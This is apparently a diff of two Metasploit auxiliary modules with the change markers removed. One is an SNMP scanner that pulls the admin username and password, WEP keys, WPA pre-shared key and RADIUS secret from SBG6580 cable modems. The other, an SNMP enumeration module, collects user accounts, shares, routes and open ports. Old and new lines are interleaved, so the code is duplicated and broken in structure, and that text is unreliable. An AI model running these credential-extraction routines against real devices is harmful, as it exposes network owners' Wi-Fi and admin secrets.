OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
])
]
)
end
def run_host(ip)
snmp = connect_snmp
begin
snmp = connect_snmp
# represents the order of the output data fields
fields_order = [
'Host IP', 'Username', 'Password', 'SSID', '802.11 Band',
'Network Authentication Mode', 'WEP Passphrase', 'WEP Encryption',
'WEP Key 1', 'WEP Key 2', 'WEP Key 3', 'WEP Key 4',
'Current Network Key', 'WPA Encryption', 'WPA Pre-Shared Key (PSK)',
'RADIUS Server', 'RADIUS Port', 'RADIUS Key'
]
# represents the order of the output data fields
fields_order = [
"Host IP", "Username", "Password", "SSID", "802.11 Band",
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
"RADIUS Server", "RADIUS Port", "RADIUS Key"
]
output_data = { 'Host IP' => ip }
output_data = {"Host IP" => ip}
sys_descr = snmp.get_value('sysDescr.0')
if is_valid_snmp_value(sys_descr) && sys_descr.to_s =~ /SBG6580/
print_error("#{ip} does not appear to be a SBG6580.")
return
end
sys_descr = snmp.get_value('sysDescr.0')
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
# print connected status after the first query so if there are
# any timeout or connectivity errors; the code would already
# have jumped to error handling where the error status is
# already being displayed.
print_good("#{ip}, Connected.")
# print connected status after the first query so if there are
# any timeout or connectivity errors; the code would already
# have jumped to error handling where the error status is
# already being displayed.
print_good("#{ip}, Connected.")
# attempt to get the username and password for the device user interface
# using the CableHome cabhPsDevMib MIB module which defines the
# basic management objects for the Portal Services (PS) logical element
# of a CableHome compliant Residential Gateway device
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
# manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
if is_valid_snmp_value(device_ui_username)
output_data["Username"] = device_ui_username.to_s
end
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
if is_valid_snmp_value(device_ui_password)
output_data["Password"] = device_ui_password.to_s
end
end
wifi_ifindex = get_primary_wifi_ifindex(snmp)
if wifi_ifindex < 1
print_status("Primary WiFi is disabled on the device")
end
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(ssid)
output_data["SSID"] = ssid.to_s
end
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
if is_valid_snmp_value(wireless_band)
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
end
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
if is_valid_snmp_value(network_auth_mode)
network_auth_mode = network_auth_mode.to_i
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
output_data["Network Authentication Mode"] = network_auth_mode_name
end
case network_auth_mode
when 1, 6
# WEP, WEP 802.1x Authentication
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(wep_passphrase)
output_data["WEP Passphrase"] = wep_passphrase.to_s
end
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wep_encryption)
wep_encryption = wep_encryption.to_i
else
wep_encryption = -1
end
wep_encryption_name = "Unknown"
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
# get appropriate WEP keys based on wep_encryption setting
if wep_encryption == 1
wep_encryption_name = "64-bit"
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
elsif wep_encryption == 2
wep_encryption_name = "128-bit"
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
end
output_data["WEP Encryption"] = wep_encryption_name
if is_valid_snmp_value(wep_key1)
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key2)
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key3)
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key4)
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
end
# get current network key
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(current_key)
output_data["Current Network Key"] = current_key.to_s
end
if network_auth_mode == 6
get_radius_info(snmp, wifi_ifindex, output_data)
end
when 2, 3, 4, 5, 7, 8
# process all flavors of WPA
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_encryption)
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
end
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_psk)
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
end
case network_auth_mode
when 4, 5, 8
get_radius_info(snmp, wifi_ifindex, output_data)
end
end
# output
print_line("")
print_status("Device information:\n")
line = ""
width = 30 # name field width
fields_order.each {|k|
if not output_data.has_key?(k)
next
end
v = output_data[k]
if (v.nil? or v.empty? or v =~ /Null/)
v = '-'
end
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'].to_i,
:type => "snmp.#{k}",
:data => { :data => v }
)
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
}
print_line(line)
else
print_error("#{ip} does not appear to be a SBG6580.")
# attempt to get the username and password for the device user interface
# using the CableHome cabhPsDevMib MIB module which defines the
# basic management objects for the Portal Services (PS) logical element
# of a CableHome compliant Residential Gateway device
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
if is_valid_snmp_value(device_ui_selection) && (device_ui_selection.to_i == 1)
# manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
if is_valid_snmp_value(device_ui_username)
output_data['Username'] = device_ui_username.to_s
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
if is_valid_snmp_value(device_ui_password)
output_data['Password'] = device_ui_password.to_s
end
end
wifi_ifindex = get_primary_wifi_ifindex(snmp)
if wifi_ifindex < 1
print_status('Primary WiFi is disabled on the device')
end
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(ssid)
output_data['SSID'] = ssid.to_s
end
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
if is_valid_snmp_value(wireless_band)
output_data['802.11 Band'] = get_wireless_band_name(wireless_band.to_i)
end
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
if is_valid_snmp_value(network_auth_mode)
network_auth_mode = network_auth_mode.to_i
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
output_data['Network Authentication Mode'] = network_auth_mode_name
end
case network_auth_mode
when 1, 6
# WEP, WEP 802.1x Authentication
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(wep_passphrase)
output_data['WEP Passphrase'] = wep_passphrase.to_s
end
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wep_encryption)
wep_encryption = wep_encryption.to_i
else
wep_encryption = -1
end
wep_encryption_name = 'Unknown'
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
# get appropriate WEP keys based on wep_encryption setting
if wep_encryption == 1
wep_encryption_name = '64-bit'
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
elsif wep_encryption == 2
wep_encryption_name = '128-bit'
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
end
output_data['WEP Encryption'] = wep_encryption_name
if is_valid_snmp_value(wep_key1)
output_data['WEP Key 1'] = wep_key1.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key2)
output_data['WEP Key 2'] = wep_key2.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key3)
output_data['WEP Key 3'] = wep_key3.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key4)
output_data['WEP Key 4'] = wep_key4.unpack('H*')[0]
end
# get current network key
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(current_key)
output_data['Current Network Key'] = current_key.to_s
end
if network_auth_mode == 6
get_radius_info(snmp, wifi_ifindex, output_data)
end
when 2, 3, 4, 5, 7, 8
# process all flavors of WPA
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_encryption)
output_data['WPA Encryption'] = get_wpa_encryption_name(wpa_encryption.to_i)
end
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_psk)
output_data['WPA Pre-Shared Key (PSK)'] = wpa_psk.to_s
end
case network_auth_mode
when 4, 5, 8
get_radius_info(snmp, wifi_ifindex, output_data)
end
end
# output
print_line('')
print_status("Device information:\n")
line = ''
width = 30 # name field width
fields_order.each do |k|
if !output_data.key?(k)
next
end
v = output_data[k]
if v.nil? || v.empty? || v =~ /Null/
v = '-'
end
report_note(
host: ip,
proto: 'udp',
sname: 'snmp',
port: datastore['RPORT'].to_i,
type: "snmp.#{k}",
data: { data: v }
)
line << k.to_s
line << ' ' * [0, width - k.length].max
line << ": #{v}\n"
end
print_line(line)
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
end
def get_primary_wifi_ifindex(snmp)
@@ -228,83 +238,84 @@ class MetasploitModule < Msf::Auxiliary
# management information for a particular interface. Locate the first
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
wifi_ifindex = 0
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
wifi_ifindex = ifIndex.value.to_i
if_table_columns = ['ifIndex', 'ifDescr', 'ifType', 'ifAdminStatus']
snmp.walk(if_table_columns) do |if_index, _if_descr, if_type, if_admin_status|
if (wifi_ifindex < 1) && (if_type.value == 71) && (if_admin_status.value == 1)
wifi_ifindex = if_index.value.to_i
end
end
wifi_ifindex
end
def is_valid_snmp_value(value)
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
if value.nil? || value.to_s =~ /Null/ || value.to_s =~ /^noSuch/
return false
end
return true
end
def get_network_auth_mode_name(network_auth_mode)
case network_auth_mode
when 0
"Open Security"
'Open Security'
when 1
"WEP"
'WEP'
when 2
"WPA-PSK"
'WPA-PSK'
when 3
"WPA2-PSK"
'WPA2-PSK'
when 4
"WPA RADIUS"
'WPA RADIUS'
when 5
"WPA2 RADIUS"
'WPA2 RADIUS'
when 6
"WEP 802.1x Authentication"
'WEP 802.1x Authentication'
when 7
"WPA-PSK and WPA2-PSK"
'WPA-PSK and WPA2-PSK'
when 8
"WPA and WPA2 RADIUS"
'WPA and WPA2 RADIUS'
else
"Unknown"
'Unknown'
end
end
def get_wireless_band_name(wireless_band)
case wireless_band
when 1
"2.4 Ghz"
'2.4 Ghz'
when 2
"5 Ghz"
'5 Ghz'
else
"Unknown"
'Unknown'
end
end
def get_wpa_encryption_name(wpa_encryption)
case wpa_encryption
when 2
"AES"
'AES'
when 3
"TKIP+AES"
'TKIP+AES'
else
"Unknown"
'Unknown'
end
end
def get_radius_info(snmp, wifi_ifindex, output_data)
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(radius_server)
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
output_data['RADIUS Server'] = radius_server.unpack('C4').join('.')
end
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(radius_port)
output_data["RADIUS Port"] = radius_port.to_s.strip
output_data['RADIUS Port'] = radius_port.to_s.strip
end
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
if is_valid_snmp_value(radius_key)
output_data["RADIUS Key"] = radius_key.to_s
output_data['RADIUS Key'] = radius_key.to_s
end
end
end
+861 -855
View File
@@ -3,897 +3,903 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'SNMP Enumeration Module',
'Description' => 'This module allows enumeration of any devices with SNMP
protocol support. It supports hardware, software, and network information.
The default community used is "public".',
'References' =>
[
super(
update_info(
info,
'Name' => 'SNMP Enumeration Module',
'Description' => %q{
This module allows enumeration of any devices with SNMP
protocol support. It supports hardware, software, and network information.
The default community used is "public".
},
'References' => [
[ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
[ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ],
[ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ],
[ 'CVE', '1999-0508' ], # Weak password
[ 'CVE', '1999-0517' ],
[ 'CVE', '1999-0516' ] ],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
))
end
def run_host(ip)
begin
snmp = connect_snmp
fields_order = [
"Host IP", "Hostname", "Description", "Contact",
"Location", "Uptime snmp", "Uptime system",
"System date", "domain", "User accounts",
"Network information", "Network interfaces",
"Network IP", "Routing information",
"TCP connections and listening ports", "Listening UDP ports",
"Network services", "Share", "IIS server information",
"Storage information", "File system information",
"Device information", "Software components",
"Processes"
]
output_data = {}
output_data = {"Host IP"=>ip}
sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
output_data["Hostname"] = sysName.strip
# print connected status after the first query so if there are
# any timeout or connectivity errors; the code would already
# have jumped to error handling where the error status is
# already being displayed.
print_good("#{ip}, Connected.")
sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
output_data["Description"] = sysDesc.strip
sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
output_data["Contact"] = sysContact.strip
sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
output_data["Location"] = sysLocation.strip
sysUpTimeInstance = snmp.get_value('1.3.6.1.2.1.1.3.0').to_s
output_data["Uptime system"] = sysUpTimeInstance.strip
hrSystemUptime = snmp.get_value('1.3.6.1.2.1.25.1.1.0').to_s
output_data["Uptime snmp"] = hrSystemUptime.strip
hrSystemUptime = '-' if hrSystemUptime.to_s =~ /Null/
year = month = day = hour = minutes = seconds = tenths = 0
systemDate = snmp.get_value('1.3.6.1.2.1.25.1.2.0')
str = systemDate.to_s
if (str.empty? or str =~ /Null/ or str =~ /^noSuch/)
output_data["System date"] = '-'
else
# RFC 2579 - Textual Conventions for SMIv2
# http://www.faqs.org/rfcs/rfc2579.html
systemDate = systemDate.unpack('C*')
year = systemDate[0] * 256 + systemDate[1]
month = systemDate[2] || 0
day = systemDate[3] || 0
hour = systemDate[4] || 0
minutes = systemDate[5] || 0
seconds = systemDate[6] || 0
tenths = systemDate[7] || 0
output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths)
end
if (sysDesc =~ /Windows/)
domPrimaryDomain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s
output_data["Domain"] = domPrimaryDomain.strip
users = []
snmp.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry|
users.push([[user.value]])
end
if not users.empty?
output_data["User accounts"] = users
end
end
network_information = {}
ipForwarding = snmp.get_value('1.3.6.1.2.1.4.1.0')
if ipForwarding == 0 || ipForwarding == 2
ipForwarding = "no"
network_information["IP forwarding enabled"] = ipForwarding
elsif ipForwarding == 1
ipForwarding = "yes"
network_information["IP forwarding enabled"] = ipForwarding
end
ipDefaultTTL = snmp.get_value('1.3.6.1.2.1.4.2.0')
if ipDefaultTTL.to_s !~ /Null/
network_information["Default TTL"] = ipDefaultTTL
end
tcpInSegs = snmp.get_value('1.3.6.1.2.1.6.10.0')
if tcpInSegs.to_s !~ /Null/
network_information["TCP segments received"] = tcpInSegs
end
tcpOutSegs = snmp.get_value('1.3.6.1.2.1.6.11.0')
if tcpOutSegs.to_s !~ /Null/
network_information["TCP segments sent"] = tcpOutSegs
end
tcpRetransSegs = snmp.get_value('1.3.6.1.2.1.6.12.0')
if tcpRetransSegs.to_s !~ /Null/
network_information["TCP segments retrans"] = tcpRetransSegs
end
ipInReceives = snmp.get_value('1.3.6.1.2.1.4.3.0')
if ipInReceives.to_s !~ /Null/
network_information["Input datagrams"] = ipInReceives
end
ipInDelivers = snmp.get_value('1.3.6.1.2.1.4.9.0')
if ipInDelivers.to_s !~ /Null/
network_information["Delivered datagrams"]=ipInDelivers
end
ipOutRequests = snmp.get_value('1.3.6.1.2.1.4.10.0')
if ipOutRequests.to_s !~ /Null/
network_information["Output datagrams"]=ipOutRequests
end
if not network_information.empty?
output_data["Network information"] = network_information
end
network_interfaces = []
snmp.walk([
"1.3.6.1.2.1.2.2.1.1", "1.3.6.1.2.1.2.2.1.2", "1.3.6.1.2.1.2.2.1.6",
"1.3.6.1.2.1.2.2.1.3", "1.3.6.1.2.1.2.2.1.4", "1.3.6.1.2.1.2.2.1.5",
"1.3.6.1.2.1.2.2.1.10", "1.3.6.1.2.1.2.2.1.16", "1.3.6.1.2.1.2.2.1.7"
]) do |index,descr,mac,type,mtu,speed,inoc,outoc,status|
ifindex = index.value
ifdescr = descr.value
ifmac = mac.value.to_s =~ /noSuchInstance/ ? 'unknown' : mac.value.unpack("H2H2H2H2H2H2").join(":")
iftype = type.value
ifmtu = mtu.value
ifspeed = speed.value.to_s =~ /noSuchInstance/ ? 'unknown' : speed.value.to_i / 1000000
ifinoc = inoc.value
ifoutoc = outoc.value
ifstatus = status.value
case iftype
when 1
iftype = "other"
when 2
iftype = "regular1822"
when 3
iftype = "hdh1822"
when 4
iftype = "ddn-x25"
when 5
iftype = "rfc877-x25"
when 6
iftype = "ethernet-csmacd"
when 7
iftype = "iso88023-csmacd"
when 8
iftype = "iso88024-tokenBus"
when 9
iftype = "iso88025-tokenRing"
when 10
iftype = "iso88026-man"
when 11
iftype = "starLan"
when 12
iftype = "proteon-10Mbit"
when 13
iftype = "proteon-80Mbit"
when 14
iftype = "hyperchannel"
when 15
iftype = "fddi"
when 16
iftype = "lapb"
when 17
iftype = "sdlc"
when 18
iftype = "ds1"
when 19
iftype = "e1"
when 20
iftype = "basicISDN"
when 21
iftype = "primaryISDN"
when 22
iftype = "propPointToPointSerial"
when 23
iftype = "ppp"
when 24
iftype = "softwareLoopback"
when 25
iftype = "eon"
when 26
iftype = "ethernet-3Mbit"
when 27
iftype = "nsip"
when 28
iftype = "slip"
when 29
iftype = "ultra"
when 30
iftype = "ds3"
when 31
iftype = "sip"
when 32
iftype = "frame-relay"
else
iftype = "unknown"
end
case ifstatus
when 1
ifstatus = "up"
when 2
ifstatus = "down"
when 3
ifstatus = "testing"
else
ifstatus = "unknown"
end
network_interfaces.push({
"Interface" => "[ #{ifstatus} ] #{ifdescr}",
"Id" => ifindex,
"Mac Address" => ifmac,
"Type" => iftype,
"Speed" => "#{ifspeed} Mbps",
"MTU" => ifmtu,
"In octets" => ifinoc,
"Out octets" => ifoutoc
})
end
if not network_interfaces.empty?
output_data["Network interfaces"] = network_interfaces
end
network_ip = []
snmp.walk([
"1.3.6.1.2.1.4.20.1.2", "1.3.6.1.2.1.4.20.1.1",
"1.3.6.1.2.1.4.20.1.3", "1.3.6.1.2.1.4.20.1.4"
]) do |ifid,ipaddr,netmask,bcast|
network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value])
end
if not network_ip.empty?
output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip
end
routing = []
snmp.walk([
"1.3.6.1.2.1.4.21.1.1", "1.3.6.1.2.1.4.21.1.7",
"1.3.6.1.2.1.4.21.1.11","1.3.6.1.2.1.4.21.1.3"
]) do |dest,hop,mask,metric|
if (metric.value.to_s.empty?)
metric.value = '-'
end
routing.push([dest.value, hop.value, mask.value, metric.value])
end
if not routing.empty?
output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing
end
tcp = []
snmp.walk([
"1.3.6.1.2.1.6.13.1.2","1.3.6.1.2.1.6.13.1.3","1.3.6.1.2.1.6.13.1.4",
"1.3.6.1.2.1.6.13.1.5","1.3.6.1.2.1.6.13.1.1"
]) do |ladd,lport,radd,rport,state|
if (ladd.value.to_s.empty? or ladd.value.to_s =~ /noSuchInstance/)
ladd = "-"
else
ladd = ladd.value
end
if (lport.value.to_s.empty? or lport.value.to_s =~ /noSuchInstance/)
lport = "-"
else
lport = lport.value
end
if (radd.value.to_s.empty? or radd.value.to_s =~ /noSuchInstance/)
radd = "-"
else
radd = radd.value
end
if (rport.value.to_s.empty? or rport.value.to_s =~ /noSuchInstance/)
rport = "-"
else
rport = rport.value
end
case state.value
when 1
state = "closed"
when 2
state = "listen"
when 3
state = "synSent"
when 4
state = "synReceived"
when 5
state = "established"
when 6
state = "finWait1"
when 7
state = "finWait2"
when 8
state = "closeWait"
when 9
state = "lastAck"
when 10
state = "closing"
when 11
state = "timeWait"
when 12
state = "deleteTCB"
else
state = "unknown"
end
tcp.push([ladd, lport, radd, rport, state])
end
if not tcp.empty?
output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp
end
udp = []
snmp.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport|
udp.push([ladd.value, lport.value])
end
if not udp.empty?
output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp
end
if (sysDesc =~ /Windows/)
network_services = []
n = 0
snmp.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed|
network_services.push([n,name.value])
n+=1
end
if not network_services.empty?
output_data["Network services"] = [["Index","Name"]] + network_services
end
share = []
snmp.walk([
"1.3.6.1.4.1.77.1.2.27.1.1","1.3.6.1.4.1.77.1.2.27.1.2","1.3.6.1.4.1.77.1.2.27.1.3"
]) do |name,path,comment|
share.push({" Name"=>name.value, " Path"=>path.value, " Comment"=>comment.value})
end
if not share.empty?
output_data["Share"] = share
end
iis = {}
http_totalBytesSentLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0')
if http_totalBytesSentLowWord.to_s !~ /Null/
iis["TotalBytesSentLowWord"] = http_totalBytesSentLowWord
end
http_totalBytesReceivedLowWord = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0')
if http_totalBytesReceivedLowWord.to_s !~ /Null/
iis["TotalBytesReceivedLowWord"] = http_totalBytesReceivedLowWord
end
http_totalFilesSent = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0')
if http_totalFilesSent.to_s !~ /Null/
iis["TotalFilesSent"] = http_totalFilesSent
end
http_currentAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0')
if http_currentAnonymousUsers.to_s !~ /Null/
iis["CurrentAnonymousUsers"] = http_currentAnonymousUsers
end
http_currentNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0')
if http_currentNonAnonymousUsers.to_s !~ /Null/
iis["CurrentNonAnonymousUsers"] = http_currentNonAnonymousUsers
end
http_totalAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0')
if http_totalAnonymousUsers.to_s !~ /Null/
iis["TotalAnonymousUsers"] = http_totalAnonymousUsers
end
http_totalNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0')
if http_totalNonAnonymousUsers.to_s !~ /Null/
iis["TotalNonAnonymousUsers"] = http_totalNonAnonymousUsers
end
http_maxAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0')
if http_maxAnonymousUsers.to_s !~ /Null/
iis["MaxAnonymousUsers"] = http_maxAnonymousUsers
end
http_maxNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0')
if http_maxNonAnonymousUsers.to_s !~ /Null/
iis["MaxNonAnonymousUsers"] = http_maxNonAnonymousUsers
end
http_currentConnections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0')
if http_currentConnections.to_s !~ /Null/
iis["CurrentConnections"] = http_currentConnections
end
http_maxConnections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0')
if http_maxConnections.to_s !~ /Null/
iis["MaxConnections"] = http_maxConnections
end
http_connectionAttempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0')
if http_connectionAttempts.to_s !~ /Null/
iis["ConnectionAttempts"] = http_connectionAttempts
end
http_logonAttempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0')
if http_logonAttempts.to_s !~ /Null/
iis["LogonAttempts"] = http_logonAttempts
end
http_totalGets = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0')
if http_totalGets.to_s !~ /Null/
iis["Gets"] = http_totalGets
end
http_totalPosts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0')
if http_totalPosts.to_s !~ /Null/
iis["Posts"] = http_totalPosts
end
http_totalHeads = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0')
if http_totalHeads.to_s !~ /Null/
iis["Heads"] = http_totalHeads
end
http_totalOthers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0')
if http_totalOthers.to_s !~ /Null/
iis["Others"] = http_totalOthers
end
http_totalCGIRequests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0')
if http_totalCGIRequests.to_s !~ /Null/
iis["CGIRequests"] = http_totalCGIRequests
end
